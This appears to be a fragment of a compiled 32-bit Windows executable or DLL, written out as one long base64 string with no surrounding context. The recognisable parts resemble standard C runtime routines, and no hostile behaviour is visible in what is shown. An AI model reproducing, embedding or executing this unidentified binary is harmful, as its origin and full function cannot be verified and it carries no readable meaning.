sAHDsAHD6Ir7//+wAcOhBOABEFZqIIPgHzP2WSvI084zNQTgARBW6J0LAABW6Fjx//9W6LE/AABW6BBCAABW6E/2//+DxBSwAV7DagDo9L///1nDoSDnARCDyf9W8A/BCHUboSDnARC+AOUBEDvGdA1Q6DMBAABZiTUg5wEQ/zXQ8AEQ6CEBAAD/NdTwARAz9ok10PABEOgOAQAA/zVA8gEQiTXU8AEQ6P0AAAD/NUTyARCJNUDyARDo7AAAAIPEEIk1RPIBELABXsNocEEBEGj4QAEQ6Dw9AABZWcPowh8AAIXAD5XAw+gHHwAAsAHDaHBBARBo+EABEOiaPQAAWVnDi/9Vi+z/dQjoRiAAAFmwAV3DagxoIJUBEOihpgAA6PseAACLcAyF9nQeg2X8AIvO/xVAMQEQ/9brBzPAQMOLZejHRfz+////6OMAAADMi/9Vi+yLVQhWhdJ0EYtNDIXJdAqLdRCF9nUXxgIA6KELAABqFl6JMOjbCgAAi8ZeXcNXi/or8ooEPogHR4TAdAWD6QF18V+FyXULiArocgsAAGoi688z9uvTi/9Vi+yDfQgAdC3/dQhqAP81VPIBEP8VADABEIXAdRhW6EQLAACL8P8VWDABEFDovQoAAFmJBl5dw4v/VYvsVot1CIP+4HcwhfZ1F0brFOitQAAAhcB0IFbolu///1mFwHQVVmoA/zVU8gEQ/xW4MAEQhcB02esN6O0KAADHAAwAAAAzwF5dw+ibPQAAhcB0CGoW6Os9AABZ9gX44AEQAnQhahfoPqMAAIXAdAVqB1nNKWoBaBUAAEBqA+gkCAAAg8QMagPoPfT//8yL/1WL7FaLdQiF9nQMauAz0lj39jtFDHI0D691DIX2dRdG6xToDUAAAIXAdCBW6Pbu//9ZhcB0FVZqCP81VPIBEP8VuDABEIXAdNnrDehNCgAAxwAMAAAAM8BeXcOL/1WL7ItFCKgEdASwAV3DqAF0G4PgAnQJgX0MAAAAgHfqhcB1CYF9DP///3933TLAXcOL/1WL7IPsHI1NDFNX6P8GAACEwHQji0UUagJfhcB0LzvHfAWD+CR+JujhCQAAxwAWAAAA6BoJAAAz24tVEIXSdAWLTQyJCl+Lw1uL5V3DVv91CI1N5Ogw3v//i0UMM/aJdfiJRfTrA4tFDA+3MAPHaghWiUUM6Fc/AABZWYXAdecz2zhdGA+Vw2aD/i11BAvf6wZmg/4rdQ6LfQwPtzeDxwKJfQzrA4t9DItNFMdF/BkAAABqMFhqEFqFyXQIO8oPhdsCAABmO/APglUCAABqOlhmO/BzCw+3xoPoMOk9AgAAuBD/AABmO/APgxgCAAC4YAYAAGY78A+CJgIAAIPACmY78HMND7fGLWAGAADpDAIAALjwBgAAZjvwD4IDAgAAg8AKZjvwcw0Pt8Yt8AYAAOnpAQAAuGYJAABmO/APguABAACDwApmO/BzDQ+3xi1mCQAA6cYBAAC45gkAAGY78A+CvQEAAIPACmY78HMND7fGLeYJAADpowEAALhmCgAAZjvwD4KaAQAAg8AKZjvwcw0Pt8YtZgoAAOmAAQAAuOYKAABmO/APgncBAACDwApmO/BzDQ+3xi3mCgAA6V0BAAC4ZgsAAGY78A+CVAEAAIPACmY78HMND7fGLWYLAADpOgEAALhmDAAAZjvwD4IxAQAAg8AKZjvwcw0Pt8YtZgwAAOkXAQAAuOYMAABmO/APgg4BAACDwApmO/BzDQ+3xi3mDAAA6fQAAAC4Zg0AAGY78A+C6wAAAIPACmY78HMND7fGLWYNAADp0QAAALhQDgAAZjvwD4LIAAAAg8AKZjvwcw0Pt8YtUA4AAOmuAAAAuNAOAABmO/APgqUAAACDwApmO/BzDQ+3xi3QDgAA6YsAAAC4IA8AAGY78A+CggAAAIPACmY78HMKD7fGLSAPAADra7hAEAAAZjvwcmaDwApmO/BzCg+3xi1AEAAA60+44BcAAGY78HJKg8AKZjvwcwoPt8Yt4BcAAOszuBAYAABmO/ByLoPACmY78HMmD7fGLRAYAADrF7ga/wAAZjvwcwoPt8YtEP8AAOsDg8j/g/j/dTBqQVhmO8Z3CGpaWGY78HYJjUafZjtF/HcUjUafZjtF/A+3xncDg+ggg8DJ6wODyP+FwHQNhcl1RcdFFAoAAADrPA+3B4PHAol9DIP4eHQeg/hYdBmFyXUHx0UUCAAAAFCNTQzoWQMAAIt9DOsQhcl1A4lVFA+3N4PHAol9DIPI/zPS93UUi8hqMFhmO/APglUCAABqOlhmO/BzCw+3xoPoMOk9AgAAuBD/AABmO/APgxgCAAC4YAYAAGY78A+CJgIAAIPACmY78HMND7fGLWAGAADpDAIAALjwBgAAZjvwD4IDAgAAg8AKZjvwcw0Pt8Yt8AYAAOnpAQAAuGYJAABmO/APguABAACDwApmO/BzDQ+3xi1mCQAA6cYBAAC45gkAAGY78A+CvQEAAIPACmY78HMND7fGLeYJAADpowEAALhmCgAAZjvwD4KaAQAAg8AKZjvwcw0Pt8YtZgoAAOmAAQAAuOYKAABmO/APgncBAACDwApmO/BzDQ+3xi3mCgAA6V0BAAC4ZgsAAGY78A+CVAEAAIPACmY78HMND7fGLWYLAADpOgEAALhmDAAAZjvwD4IxAQAAg8AKZjvwcw0Pt8YtZgwAAOkXAQAAuOYMAABmO/APgg4BAACDwApmO/BzDQ+3xi3mDAAA6fQAAAC4Zg0AAGY78A+C6wAAAIPACmY78HMND7fGLWYNAADp0QAAALhQDgAAZjvwD4LIAAAAg8AKZjvwcw0Pt8YtUA4AAOmuAAAAuNAOAABmO/APgqUAAACDwApmO/BzDQ+3xi3QDgAA6YsAAAC4IA8AAGY78A+CggAAAIPACmY78HMKD7fGLSAPAADra7hAEAAAZjvwcmaDwApmO/BzCg+3xi1AEAAA60+44BcAAGY78HJKg8AKZjvwcwoPt8Yt4BcAAOszuBAYAABmO/ByLoPACmY78HMmD7fGLRAYAADrF7ga/wAAZjvwcwoPt8YtEP8AAOsDg8j/g/j/dTBqQVhmO8Z3CGpaWGY78HYJjUafZjtF/HcUjUafZjtF/A+3xncDg+ggg8DJ6wODyP+D+P90MTtFFHMsi3X4g8sIO/FyC3UEO8J2BYPLBOsJD691FAPwiXX4D7c3g8cCiX0M6Tn9//9WjU0M6GoAAAD2wwh1CotF9DPbiUUM60GLdfhWU+g5+f//WVmEwHQo6HADAADHACIAAAD2wwF1BYPO/+sa9sMCdAe7AAAAgOsQu////3/rCfbDAnQC996L3oB98ABeD4Rl+f//i0Xkg6BQAwAA/elW+f//i/9Vi+yDAf5mi0UIiwlmhcB0FWY5AXQQ6A0DAADHABYAAADoRgIAAF3CBACDOQB1E+j0AgAAxwAWAAAA6C0CAAAywMOwAcOL/1WL7ItFEIXAdA2LAIsIi0UID7cEQesM6GI4AACLTQgPtwRII0UMXcOL/1WL7ItNEIXJdBaLAYN4BAF+DlH/dQz/dQjouzgAAOsMUf91DP91COio////g8QMXcOL/1WL7IHsKAMAAKEE4AEQM8WJRfyDfQj/V3QJ/3UI6Mmj//9ZalCNheD8//9qAFDoDrb//2jMAgAAjYUw/f//agBQ6Pu1//+NheD8//+DxBiJhdj8//+NhTD9//+Jhdz8//+JheD9//+Jjdz9//+Jldj9//+JndT9//+JtdD9//+Jvcz9//9mjJX4/f//ZoyN7P3//2aMncj9//9mjIXE/f//ZoylwP3//2aMrbz9//+cj4Xw/f//i0UEiYXo/f//jUUEiYX0/f//x4Uw/f//AQABAItA/ImF5P3//4tFDImF4Pz//4tFEImF5Pz//4tFBImF7Pz///8VTDABEGoAi/j/FSgwARCNhdj8//9Q/xUkMAEQhcB1E4X/dQ+DfQj/dAn/dQjowqL//1mLTfwzzV/oo5f//4vlXcOL/1WL7P91CLno7QEQ6H7l//9dw4v/VYvsUaEE4AEQM8WJRfxW6LEUAACFwHQ1i7BcAwAAhfZ0K/91GP91FP91EP91DP91CIvO/xVAMQEQ/9aLTfyDxBQzzV7oQJf//4vlXcP/dRiLNQTgARCLzv91FDM16O0BEIPhH/91ENPO/3UM/3UIhfZ1vugRAAAAzDPAUFBQUFDoef///4PEFMNqF+gimQAAhcB0BWoFWc0pVmoBvhcEAMBWagLoBv7//4PEDFb/FSwwARBQ/xUwMAEQXsOL/1WL7ItNCDPAOwzFcEEBEHQnQIP4LXLxjUHtg/gRdwVqDVhdw42BRP///2oOWTvIG8AjwYPACF3DiwTFdEEBEF3Di/9Vi+xW6BgAAACLTQhRiQjop////1mL8OgYAAAAiTBeXcPonhMAAIXAdQa4AOEBEMODwBTD6IsTAACFwHUGuPzgARDDg8AQw4v/VYvsi0UIU1ZXjRyFQO4BEIsDixUE4AEQg8//i8qL8oPhHzPw084793RphfZ0BIvG62OLdRA7dRR0Gv826FkAAABZhcB1L4PGBDt1FHXsixUE4AEQM8CFwHQp/3UMUP8VoDABEIvwhfZ0E1bonZv//1mHA+u5ixUE4AEQ69mLFQTgARCLwmogg+AfWSvI088z+oc7M8BfXltdw4v/VYvsi0UIV408hfDtARCLD4XJdAuNQQH32BvAI8HrV1OLHIXYQgEQVmgACAAAagBT/xWkMAEQi/CF9nUn/xVYMAEQg/hXdQ1WVlP/FaQwARCL8OsCM/aF9nUJg8j/hwczwOsRi8aHB4XAdAdW/xWcMAEQi8ZeW19dw4v/VYvsUaEE4AEQM8WJRfxWaIBHARBoeEcBEGjwNwEQagPowv7//4vwg8QQhfZ0D/91CIvO/xVAMQEQ/9brBv8VjDABEItN/DPNXujalP//i+VdwgQAi/9Vi+xRoQTgARAzxYlF/FZoiEcBEGiARwEQaAQ4ARBqBOhs/v//g8QQi/D/dQiF9nQMi87/FUAxARD/1usG/xWYMAEQi038M81e6ISU//+L5V3CBACL/1WL7FGhBOABEDPFiUX8VmiQRwEQaIhHARBoFDgBEGoF6Bb+//+DxBCL8P91CIX2dAyLzv8VQDEBEP/W6wb/FZAwARCLTfwzzV7oLpT//4vlXcIEAIv/VYvsUaEE4AEQM8WJRfxWaJhHARBokEcBEGgoOAEQagbowP3//4PEEIvw/3UM/3UIhfZ0DIvO/xVAMQEQ/9brBv8VlDABEItN/DPNXujVk///i+VdwggAi/9Vi+xRoQTgARAzxYlF/FZovEcBEGi0RwEQaDw4ARBqFOhn/f//i/CDxBCF9nQV/3UQi87/dQz/dQj/FUAxARD/1usM/3UM/3UI/xWIMAEQi038M81e6HOT//+L5V3CDACL/1WL7FGhBOABEDPFiUX8VmjERwEQaLxHARBoxEcBEGoW6AX9//+L8IPEEIX2dCf/dSiLzv91JP91IP91HP91GP91FP91EP91DP91CP8VQDEBEP/W6yD/dRz/dRj/dRT/dRD/dQxqAP91COgYAAAAUP8VvDABEItN/DPNXujrkv//i+VdwiQAi/9Vi+xRoQTgARAzxYlF/FZo3EcBEGjURwEQaNxHARBqGOh9/P//i/CDxBCF9nQS/3UMi87/dQj/FUAxARD/1usJ/3UI6PczAABZi038M81e6I+S//+L5V3CCAChBOABEFdqIIPgH79A7gEQWSvIM8DTyDMFBOABEGogWfOrsAFfw4v/VYvsUVGhBOABEDPFiUX8iw3A7gEQhcl0CjPAg/kBD5TA61RWaKBHARBomEcBEGigRwEQagjo5vv//4vwg8QQhfZ0J4Nl+ACNRfhqAFCLzv8VQDEBEP/Wg/h6dQ4zybrA7gEQQYcKsAHrDGoCWLnA7gEQhwEywF6LTfwzzejgkf//i+Vdw4v/VYvsgH0IAHUnVr7w7QEQgz4AdBCDPv90CP82/xWcMAEQgyYAg8YEgf5A7gEQdeBesAFdw2oQaECVARDoE53//4Nl5ABqCOhNHQAAWYNl/ABqA16JdeA7NZjsARB0WKGc7AEQiwSwhcB0SYtADMHoDagBdBahnOwBEP80sOhXMwAAWYP4/3QD/0XkoZzsARCLBLCDwCBQ/xWEMAEQoZzsARD/NLDoc+///1mhnOwBEIMksABG653HRfz+////6AkAAACLReToz5z//8NqCOgOHQAAWcOL/1WL7ItNCFaNcQyLBiQDPAJ0BDPA60uLBqjAdPaLQQRXizkr+IkBg2EIAIX/fjBXUFHonBoAAFlQ6AQ6AACDxAw7+HQLahBY8AkGg8j/6xGLBsHoAqgBdAZq/VjwIQYzwF9eXcOL/1WL7FaLdQiF9nUJVug9AAAAWesuVuh+////WYXAdAWDyP/rHotGDMHoC6gBdBJW6DgaAABQ6KIzAABZWYXAdd8zwF5dw2oB6AIAAABZw2ocaGCVARDovZv//4Nl5ACDZdwAagjo8xsAAFmDZfwAizWc7AEQoZjsARCNBIaJRdSLXQiJdeA78HR0iz6JfdiF/3RWV+iXyv//WcdF/AEAAACLRwzB6A2oAXQyg/sBdRFX6En///9Zg/j/dCH/ReTrHIXbdRiLRwzR6KgBdA9X6Cv///9Zg/j/dQMJRdyDZfwA6A4AAACLRdSDxgTrlYtdCIt14P912OhIyv//WcPHRfz+////6BQAAACD+wGLReR0A4tF3OhEm///w4tdCGoI6IAbAABZw4v/VYvsVot1CFeNfgyLB8HoDagBdCSLB8HoBqgBdBv/dgTok+3//1m4v/7///AhBzPAiUYEiQaJRghfXl3Di/9Vi+yD7EiNRbhQ/xVQMAEQZoN96gAPhJUAAACLReyFwA+EigAAAFNWizCNWASNBDOJRfy4ACAAADvwfAKL8Fbo1zsAAKHI8AEQWTvwfgKL8Fcz/4X2dFaLRfyLCIP5/3RAg/n+dDuKE/bCAXQ09sIIdQtR/xXEMAEQhcB0IYvHi8+D4D/B+QZr0DCLRfwDFI3I7gEQiwCJQhiKA4hCKItF/EeDwARDiUX8O/51rV9eW4vlXcOL/1NWVzP/i8eLz4PgP8H5BmvwMAM0jcjuARCDfhj/dAyDfhj+dAaATiiA63uLx8ZGKIGD6AB0EIPoAXQHavSD6AHrBmr16wJq9lhQ/xXAMAEQi9iD+/90DYXbdAlT/xXEMAEQ6wIzwIXAdB4l/wAAAIleGIP4AnUGgE4oQOspg/gDdSSATigI6x6ATihAx0YY/v///6Gc7AEQhcB0CosEuMdAEP7///9Hg/8DD4VV////X15bw2oMaIiVARDoO5n//2oH6HkZAABZM9uIXeeJXfxT6I86AABZhcB1D+ho/v//6Bn///+zAYhd58dF/P7////oCwAAAIrD6ESZ///Dil3nagfogBkAAFnDi/9WM/aLhsjuARCFwHQOUOgROgAAg6bI7gEQAFmDxgSB/gACAABy3bABXsOL/1WL7IPsEP91DI1N8Ohhy///jUX0UGoE/3UI6B70//+DxAyAffwAdAqLTfCDoVADAAD9i+Vdw4v/VYvsodjwARCFwHQOagD/dQjosP///1lZXcOLTQihQOEBEA+3BEiD4ARdw4v/VYvsg+wcjU3kU/91EOj7yv//i10IgfsAAQAAc0uNRehQU+ghAQAAWVmEwHQkgH3wAItF6IuAlAAAAA+2DBh0CotF5IOgUAMAAP2LwenyAAAAgH3wAHQKi03kg6FQAwAA/YvD6dsAAAAzwGaJRfyIRf6LReiDeAQBfi6Lw41N6MH4CIlF9FEPtsBQ6BI7AABZWYXAdBOLRfSIRfwzwGoCiF39iEX+WesW6OT1//8zyccAKgAAADPAiF38QYhF/WaJRfiNVfiIRfqLRehqAf9wCGoDUlGNTfxR/3UM/7CoAAAAjUXoUOgNPQAAg8QkhcB1GDhF8A+EZ////4tF5IOgUAMAAP3pWP///4P4AXUWgH3wAA+2Rfh0K4tN5IOhUAMAAP3rHw+2VfgPtkX5weIIC9CAffAAdAqLTeSDoVADAAD9i8Jbi+Vdw4v/VYvs/3UMagH/dQjofvL//4PEDPfYG8D32F3Di/9Vi+z/dQxoAAEAAP91COiE/v//g8QMXcOL/1WL7KHY8AEQhcB0EGoA/3UI6M7///9ZWYvI6w6LTQiNQb+D+Bl3A4PBIIvBXcOL/1WL7ItFCItNEItVDIkQiUgEhcl0AokRXcOL/1WL7FFqAf91EFFRi8T/dQz/dQhQ6Mr///+DxAxqAOiT6v//g8QUi+Vdw4v/VYvsg+wQU1aLdQyF9nQYi10Qhdt0EYA+AHUUi0UIhcB0BTPJZokIM8BeW4vlXcNX/3UUjU3w6NrI//+LRfSDuKgAAAAAdRWLTQiFyXQGD7YGZokBM/9H6YQAAACNRfRQD7YGUOhAOQAAWVmFwHRAi330g38EAX4nO18EfCUzwDlFCA+VwFD/dQj/dwRWagn/dwj/FVwwARCLffSFwHULO18Eci6AfgEAdCiLfwTrMTPAOUUID5XAM/9Q/3UIi0X0R1dWagn/cAj/FVwwARCFwHUO6MLz//+Dz//HACoAAACAffwAdAqLTfCDoVADAAD9i8df6TH///+L/1WL7GoA/3UQ/3UM/3UI6PH+//+DxBBdw4v/VYvsg+wUU4tdDFeLfRCF23UShf90DotFCIXAdAODIAAzwOt6i0UIhcB0A4MI/1aB/////392EehJ8///ahZeiTDog/L//+tT/3UYjU3s6K7H//+LRfAz9jmwqAAAAHVdZotFFLn/AAAAZjvBdjaF23QPhf90C1dWU+jEpv//g8QM6P/y//9qKl6JMIB9+AB0CotN7IOhUAMAAP2Lxl5fW4vlXcOF23QGhf90X4gDi0UIhcB01scAAQAAAOvOjU38iXX8UVZXU2oBjU0UUVb/cAj/FWAwARCLyIXJdBA5dfx1n4tFCIXAdKKJCOue/xVYMAEQg/h6dYmF23QPhf90C1dWU+g6pv//g8QM6HXy//9qIl6JMOiv8f//6Wz///+L/1WL7GoA/3UU/3UQ/3UM/3UI6Mf+//+DxBRdw4v/VYvsUaHU6wEQi00IVleD+AUPjLwAAAD2wQF0J4tFDIvRjQRBO8gPhH0BAAAz/2Y5Og+EcgEAAIPCAjvQdfDpZgEAAIvxg+YfaiBYK8b33hv2I/CLRQzR7jvGcwKL8I0UcTP/iVX8i9E7Tfx0DWY5OnQIg8ICO1X8dfMr0dH6O9YPhScBAACNFFGLyCvOi8GD4B8ryMX0V8mNDErrD8X1dQLF/dfAhcB1B4PCIDvRde2LRQiLTQyNDEjrCGY5OnQHg8ICO9F19CvQ0frF+Hfp2gAAAIP4AQ+MswAAAPbBAXQni0UMi9GNBEE7yA+EuAAAADP/Zjk6D4StAAAAg8ICO9B18OmhAAAAi/GD5g9qEFgrxvfeG/Yj8ItFDNHuO8ZzAovwjRRxM/+JVfyL0TtN/HQNZjk6dAiDwgI7Vfx18yvR0fo71nVmjRRRZg/vyYvIK86LwYPgDyvIjQxK6xIPKAJmD3XBZg/XwIXAdQeDwhA70XXqi0UIi00MjQxI6whmOTp0B4PCAjvRdfQr0Osci0UMi9GNBEE7yHQOM/9mOTp0B4PCAjvQdfQr0dH6X4vCXovlXcNqCGjIlQEQ6FOS//+LRQj/MOiOEgAAWYNl/ACLTQyLQQSLAP8wiwH/MOj5AgAAWVnHRfz+////6AgAAADoZJL//8IMAItFEP8w6J4SAABZw2oIaOiVARDoA5L//4tFCP8w6D4SAABZg2X8AItFDIsAiwCLSEiFyXQYg8j/8A/BAXUPgfkA5QEQdAdR6Jjk//9Zx0X8/v///+gIAAAA6AOS///CDACLRRD/MOg9EgAAWcNqCGgIlgEQ6KKR//+LRQj/MOjdEQAAWYNl/ABqAItFDIsA/zDoTQIAAFlZx0X8/v///+gIAAAA6LiR///CDACLRRD/MOjyEQAAWcNqCGiolQEQ6FeR//+LRQj/MOiSEQAAWYNl/ACLRQyLAIsAi0BI8P8Ax0X8/v///+gIAAAA6HCR///CDACLRRD/MOiqEQAAWcOL/1WL7IPsDItFCI1N/4lF+IlF9I1F+FD/dQyNRfRQ6Oj+//+L5V3Di/9Vi+yD7AyLRQiNTf+JRfiJRfSNRfhQ/3UMjUX0UOhw/v//i+Vdw4v/VYvsg+wMi0UIjU3/iUX4iUX0jUX4UP91DI1F9FDo+f7//4vlXcOL/1WL7IPsDItFCI1N/4lF+IlF9I1F+FD/dQyNRfRQ6Bz///+L5V3Di/9Vi+xRUYtFCDPJQWpDiUgYi0UIxwAwQAEQi0UIiYhQAwAAi0UIWcdASADlARCLRQhmiUhsi0UIZomIcgEAAItFCIOgTAMAAACNRQiJRfyNRfxQagXoff///41FCIlF+I1FDIlF/I1F+FBqBOgW////g8QQi+Vdw4v/VYvsg30IAHQS/3UI6A4AAAD/dQjosOL//1lZXcIEAIv/VYvsUYtFCIsIgfkwQAEQdApR6JHi//+LRQhZ/3A86IXi//+LRQj/cDDoeuL//4tFCP9wNOhv4v//i0UI/3A46GTi//+LRQj/cCjoWeL//4tFCP9wLOhO4v//i0UI/3BA6EPi//+LRQj/cEToOOL//4tFCP+wYAMAAOgq4v//jUUIiUX8jUX8UGoF6DX+//+NRQiJRfyNRfxQagTodP7//4PENIvlXcOL/1WL7FaLdQiDfkwAdCj/dkzobjcAAItGTFk7BdzwARB0FD1A4QEQdA2DeAwAdQdQ6IM1AABZi0UMiUZMXoXAdAdQ6PQ0AABZXcOhOOEBEIP4/3QhVlDo5e7//4vwhfZ0E2oA/zU44QEQ6Cjv//9W6MH+//9ew4v/Vlf/FVgwARCL8KE44QEQg/j/dAxQ6K7u//+L+IX/dUloZAMAAGoB6Cfi//+L+FlZhf91CVDoTuH//1nrOFf/NTjhARDo1e7//4XAdQNX6+Vo3PABEFfo6f3//2oA6Cbh//+DxAyF/3QMVv8VdDABEIvHX17DVv8VdDABEOiP4f//zIv/U1ZX/xVYMAEQi/Az26E44QEQg/j/dAxQ6Cfu//+L+IX/dVFoZAMAAGoB6KDh//+L+FlZhf91CVPox+D//1nrK1f/NTjhARDoTu7//4XAdQNX6+Vo3PABEFfoYv3//1PooOD//4PEDIX/dQlW/xV0MAEQ6wlW/xV0MAEQi99fXovDW8NonpUAEOgL7f//ozjhARCD+P91AzLAw+hf////hcB1CVDoBgAAAFnr67ABw6E44QEQg/j/dA1Q6C/t//+DDTjhARD/sAHDi/9Vi+xWi3UMiwY7BdzwARB0F4tNCKEo5wEQhYFQAwAAdQfoGDYAAIkGXl3Di/9Vi+xWi3UMiwY7BSDnARB0F4tNCKEo5wEQhYFQAwAAdQfoZxcAAIkGXl3Di/9Vi+yLRQi5/wcAAFNWM9KLGItwBIvGwegUI8FXO8F1QzvSdT+L/ovDgef//w8AC8d1A0DrMIvOi8KB4QAAAIALwbgAAAgAdA072nUJO/h1BWoEWOsQI/AL1nQEagLr82oD6+8zwF9eW13Di/9Vi+yLRQgz0otIBIvCgeEAAACAC8F0AUKKwl3Di/9Vi+yD7DBTVleLfRwz24X/eQKL+4t1DI1N0P91KIge6Be///+NRws5RRB3FOiO6v//aiJfiTjoyOn//+moAgAAi1UIiwKLSgSJReCLwcHoFCX/BwAAPf8HAAB1UjvbdU5T/3UkU1f/dRj/dRT/dRBWUuiLAgAAi/iDxCSF/3QHiB7pYgIAAGplVuiOhwAAWVmFwHQTOF0gD5TB/smA4eCAwXCICIhYA4v76ToCAACB4QAAAICLwwvBdATGBi1Gi0oEM9s4XSBqMA+Uw8dF9P8DAABLM8CD4+CB4QAA8H+DwycLwYld5Fh1H4gGRotCBIsKJf//DwALyHUFIU306w3HRfT+AwAA6wTGBjFGi85GiU3ohf91BcYBAOsPi0XUi4CIAAAAiwCKAIgBi0IEJf//DwCJRfB3CYM6AA+GxQAAAINl/AC5AAAPAGowWIlF+IlN8IX/flOLAotSBCNF/CPRi034geL//w8AD7/J6HuFAABqMFlmA8EPt8CD+Dl2AgPDi03wi1UIiAZGi0X8D6zIBIlF/ItF+MHpBIPoBE+JTfCJRfhmhcB5qWaFwHhXiwKLUgQjRfwj0YtN+IHi//8PAA+/yegjhQAAZoP4CHY2ajCNRv9bigiA+WZ0BYD5RnUFiBhI6++LXeQ7Reh0FIoIgPk5dQeAwzqIGOsJ/sGICOsD/kD/hf9+EFdqMFhQVuhonP//g8QMA/eLReiAOAB1AovwgH0gALE0i1UID5TA/sgk4ARwiAaLAotSBOirhAAAi8gz24Hh/wcAACtN9BvbeA9/BIXJcgnGRgErg8YC6w7GRgEtg8YC99mD0wD324v+ajBYiAaF23w/uOgDAAB/BDvIchZqAFBTUeh9gwAABDCJVeSIBkY793ULhdt8Gn8Fg/lkchNqAGpkU1HoW4MAAAQwiVXkiAZGO/d1C4XbfBp/BYP5CnITagBqClNR6DmDAAAEMIlV5IgGRmowWALIM/+IDsZGAQCAfdwAdAqLTdCDoVADAAD9i8dfXluL5V3Di/9Vi+yD7AyNRfRWi3UcV/91GP91FI1+AVCLRQhX/3AE/zDokTgAAIPJ/4PEGDlNEHQXi00QM8CDffQtD5TAK8gzwIX2D5/AK8iNRfRQV4t9DFEzyYN99C0PlMEzwIX2D5/AA88DwVDoszIAAIPEEIXAdAXGBwDrHP91KI1F9GoAUP91JP91IFb/dRBX6AkAAACDxCBfXovlXcOL/1WL7IPsEFZXi30Qhf9+BIvH6wIzwIPACTlFDHcX6P/m//9qIl6JMOg55v//i8ZfXovlXcNT/3UkjU3w6F27//+KVSCLXQiE0nQli00cM8CF/w+fwFAzwIM5LQ+UwAPDUP91DFPoBAQAAIpVIIPEEItFHIvzgzgtdQbGAy2NcwGF/34VikYBiAZGi0X0i4CIAAAAiwCKAIgGM8CE0g+UwAPHA/CDyP85RQx0B4vDK8YDRQxoMEgBEFBW6J/a//+DxAxbhcB1do1OAjhFFHQDxgZFi1Uci0IIgDgwdC+LUgSD6gF5BvfaxkYBLWpkXzvXfAiLwpn3/wBGAmoKXzvXfAiLwpn3/wBGAwBWBIN9GAJ1FIA5MHUPagONQQFQUehMsP//g8QMgH38AHQKi0Xwg6BQAwAA/TPA6fL+//8zwFBQUFBQ6C3l///Mi/9Vi+yD7AwzwFZX/3UYjX30/3UUq6urjUX0i30cUItFCFf/cAT/MOimNgAAg8n/g8QYOU0QdA6LTRAzwIN99C0PlMAryIt1DI1F9FCLRfgDx1AzwIN99C1RD5TAA8ZQ6NUwAACDxBCFwHQFxgYA6xb/dSCNRfRqAFBX/3UQVugJAAAAg8QYX16L5V3Di/9Vi+yD7BCNTfBTVlf/dRzosbn//4tVFIt9EItdCItKBEmAfRgAdBQ7z3UQM8CDOi0PlMADwWbHBBgwAIM6LYvzdQbGAy2NcwGLQgSFwH8VagFW/3UMU+g6AgAAg8QQxgYwRusCA/CF/35SagFW/3UMU+gfAgAAi0X0g8QQi4CIAAAAiwCKAIgGRotFFItIBIXJeSmAfRgAdQiLwffYO8d9BIv5999XVv91DFPo5QEAAFdqMFboTZj//4PEHIB9/ABfXlt0CotF8IOgUAMAAP0zwIvlXcOL/1WL7IPsEFNWV/91GDPAjX3w/3UUq6urjUXwi30cUItFCFf/cAT/MOhBNQAAi0X0M8mLXQyDxBiDffAtD5TBSIlF/IPI/400GTlFEHQFi0UQK8GNTfBRV1BW6HYvAACDxBCFwHQFxgMA61WLRfRIOUX8D5zBg/j8fCo7x30mhMl0CooGRoTAdfmIRv7/dSiNRfBqAVBX/3UQU+iJ/v//g8QY6xz/dSiNRfBqAVD/dST/dSBX/3UQU+iT/P//g8QgX15bi+Vdw4v/VYvsg+xIoQTgARAzxYlF/ItVFItNEFOKXQwPtsODwAQ70HMVagzGAQBYi038M81b6Ml5//+L5V3DhNt0CMYBLUFKxgEAuPBHARDHRdwASAEQiUW8M9s4XRiJRcC49EcBEIlFxA+Vw4lFyEu4/EcBEMdF5AxIARCJRdSD4wKJRdiJReiJRfiLRQhWvvhHARDHRewYSAEQV408hfz///+JdcyNBB+JddCJdeCJdfDHRfQkSAEQi3SFvI1GAYlFuIoGRoTAdfkrdbg78hvARwPHA8P/dIW8UlHoCtf//4PEDF9ehcAPhEH///8zwFBQUFBQ6Ani///Mi/9Vi+yLVRSF0nQmVot1EIvOV415AYoBQYTAdfkrz41BAVCNBBZWUOjUrP//g8QMX15dw4v/VYvsUVFWV4t9DIX/dRboa+L//2oWXokw6KXh//+LxukeAQAAU4tdEIXbdAyDfRQAdAaDfRgAdxboQeL//2oWXokw6Hvh//+LxunzAAAAi3Ucg/5BdBOD/kV0DoP+RnQJxkX8AIP+R3UExkX8AYtFJIPgCIPIAHUy/3UI6LP2//+JRfhZhcB0Iv91/FNX/3UI6Ar3//9ZD7bAUP91+Ogw/v//g8QU6ZcAAACLRSSD4BCDyAB0BGoD6wJqAliD/mF/KHQKg+5BdAWD7gTrH/91LFD/dfz/dSD/dRj/dRRTV/91COjW9v//61WD7mX/dSx0NoPuAXQZUP91/P91IP91GP91FFNX/3UI6P38///rL/91IP91GP91FFNX/3UI6IT7//+DxBzrGlD/dfz/dSD/dRj/dRRTV/91COiC+f//g8QkW19ei+Vdw4v/VYvsi0UMg0AI/otVDIN6CAB9Dw+3RQhSUOh+SQAAWVldw4sKZotFCGaJAYMCAl3Di/9Vi+yD7BChBOABEDPFiUX8V4t9DItHDMHoDKgBdBBX/3UI6KX///9ZWennAAAAU1ZX6O4AAAC7COEBEFmD+P90Llfo3QAAAFmD+P50Ilfo0QAAAIvwV8H+BujGAAAAg+A/a8AwWVkDBLXI7gEQ6wKLw4pAKTwCD4SMAAAAPAEPhIQAAABX6JoAAABZg/j/dCxX6I4AAABZg/j+dCBX6IIAAACL8FfB/gbodwAAAIPgP2vYMFlZAxy1yO4BEPZDKIB0Rv91CI1F9GoFUI1F8FDoyO3//4PEEIXAdSYz9jl18H4ZD75ENfRXUOhcAAAAWVmD+P90DEY7dfB852aLRQjrErj//wAA6wtX/3UI6Lv+//9ZWV5bi038M81f6DZ2//+L5V3Di/9Vi+yLRQiFwHUV6M3f///HABYAAADoBt///4PI/13Di0AQXcOL/1WL7ItVDINqCAF5DVL/dQjo/kcAAFlZXcOLAotNCIgI/wIPtsFdw4sNBOABEDPAg8kBOQ3M8AEQD5TAw4v/VYvsVot1CFbojf///1Do2EcAAFlZhcB1BzLA6ZAAAABTV2oB6Niv//9ZagJbO/B1B7/Q8AEQ6xBT6MOv//9ZO/B1ab/U8AEQ/wWg7AEQjU4MiwGpwAQAAHVSuIICAADwCQGLB4XAdStoABAAAOjW0///agCJB+iT0///iwdZWYXAdRCNThSJXgiJTgSJDoleGOsViUYEiweJBsdGCAAQAADHRhgAEAAAsAHrAjLAX1teXcOL/1WL7IB9CAB0LFaLdQxXjX4MiwfB6AmoAXQZVujx4///Wbh//f//8CEHM8CJRhiJRgSJBl9eXcMzwLnY8AEQQIcBw2oIaCiWARDoQoD//75A4QEQOTXc8AEQdCpqBOhzAAAAWYNl